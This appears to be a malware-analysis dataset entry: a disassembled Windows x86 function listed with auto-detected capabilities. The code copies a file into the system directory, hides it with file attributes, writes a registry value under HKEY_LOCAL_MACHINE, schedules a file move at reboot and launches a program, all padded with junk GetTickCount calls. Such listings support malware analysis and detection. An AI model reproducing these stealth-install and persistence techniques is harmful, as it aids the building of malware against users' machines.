Function at 0x46ae50
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff0c
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 8], eax
mov ebx, 0x473e10
mov esi, 0x473e14
xor eax, eax
push ebp
push 0x46b2ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
mov eax, 0x28314d
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xe229a
mov dword [esi], eax
mov dword [esi], 0x154ed1
mov dword [ebx], 0x123793
mov dword [ebx], 0x382d7f
mov dword [esi], 0x2175eb
mov dword [ebx], 0x385026
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x3eca80
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xf7104
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x15c4e0
mov dword [ebx], eax
mov eax, 0x3d1312
call fcn.00402da8
mov dword [ebx], eax
mov eax, 0x14c620
call fcn.00402da8
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x3bec78
mov dword [esi], eax
mov eax, 0x920b0
call fcn.00402da8
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x28c6b6
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0xeb4ed
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x28f174
mov dword [esi], eax
mov dword [ebx], 0x318092
call sub.kernel32.dll_GetTickCount_1
add eax, 0x35fe25
mov dword [esi], eax
mov dword [esi], 0x278c34
mov dword [ebx], 0x223adc
mov eax, 0x332142
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x1372e9
call sub.kernel32.dll_GetTickCount_1
add eax, 0x4062a0
mov dword [esi], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2f67bd
mov dword [ebx], eax
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x22bd5d
mov dword [ebx], eax
mov dword [esi], 0x1811a6
mov dword [ebx], 0x3bc32c
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x379e4d
mov dword [ebx], eax
mov dword [ebx], 0x3d7859
mov dword [esi], 0x2f1514
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x287570
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1f307f
mov dword [esi], eax
mov dword [ebx], 0x39a083
push 0xc8
lea eax, [ebp - 0xde]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xde]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x4726a8]
call fcn.00404424
mov dword [0x473c18], 0x33528e92
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe8]
lea edx, [ebp - 0xe4]
call fcn.0040800c
mov eax, dword [ebp - 0xe4]
push eax
lea edx, [ebp - 0xec]
mov eax, dword [ebp - 8]
call fcn.0040800c
mov edx, dword [ebp - 0xec]
pop eax
call fcn.00404568
je 0x46b2c4
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087f4
test al, al
jne 0x46b2c4
push 0x40
lea edx, [ebp - 0xf0]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xf0]
mov dl, 1
mov eax, dword [0x415460]
call fcn.004192a0
mov dword [ebp - 0x10], eax
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415460]
call fcn.004192a0
mov dword [ebp - 0x14], eax
push 0
push 0
mov eax, dword [ebp - 0x10]
call fcn.00418e0c
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
call fcn.00419088
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0x15], al
lea edx, [ebp - 0x15]
mov ecx, 1
mov eax, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, dword [ebp - 0x10]
call fcn.00403390
mov eax, dword [ebp - 0x14]
call fcn.00403390
call sub.kernel32.dll_GetTickCount_1
mov dword [0x473e20], 0x8bcb20d2
call sub.kernel32.dll_GetTickCount_1
add eax, 0x5a2f5
mov dword [esi], eax
mov dword [esi], 0x31cac4
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, 0x3f4900
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0xa2dec
mov eax, 0x1166ab
call fcn.00402da8
mov dword [ebx], eax
mov dword [esi], 0x6e689
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x3e1107
mov dword [ebx], eax
mov dword [esi], 0xbf1db
mov dword [ebx], 0x14de8a
mov dword [ebx], 0xc895d
mov eax, 0x3665f0
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x8e83f
mov dword [ebx], 0x323479
mov dword [esi], 0x1284d6
mov eax, 0x9ea96
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x1b2c23
mov dword [ebx], 0x239d3
mov eax, 0x267f3
call fcn.00402da8
mov dword [ebx], eax
mov dword [ebx], 0x2f4054
call sub.kernel32.dll_GetTickCount_1
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x4726b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
mov eax, dword [0x4726ac]
call fcn.0040441c
mov edi, eax
push edi
mov eax, dword [0x4726ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46b2fc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x2e9bc9
mov dword [ebx], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x1b6cdb
mov dword [esi], eax
call sub.kernel32.dll_GetTickCount_1
add eax, 0x33d9d4
mov dword [esi], eax
mov dword [ebx], 0x25a4a
mov eax, dword [esi]
call fcn.00402da8
add eax, 0x120b17
mov dword [ebx], eax
mov dword [ebx], 0x1965ae
push 4
push 0
lea edx, [ebp - 0xf4]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xf4]
call fcn.0040461c
push eax
call sub.kernel32.dll_MoveFileExA
call sub.kernel32.dll_GetTickCount_1
mov dword [0x473e20], 0xb50a
cmp dword [0x473e04], 0
jle 0x46b2b4
push 0
push 0x46b308
call sub.kernel32.dll_WinExec
jmp 0x46b2c4
push 0
mov eax, dword [ebp - 8]
call fcn.0040461c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b2f1
lea eax, [ebp - 0xf4]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret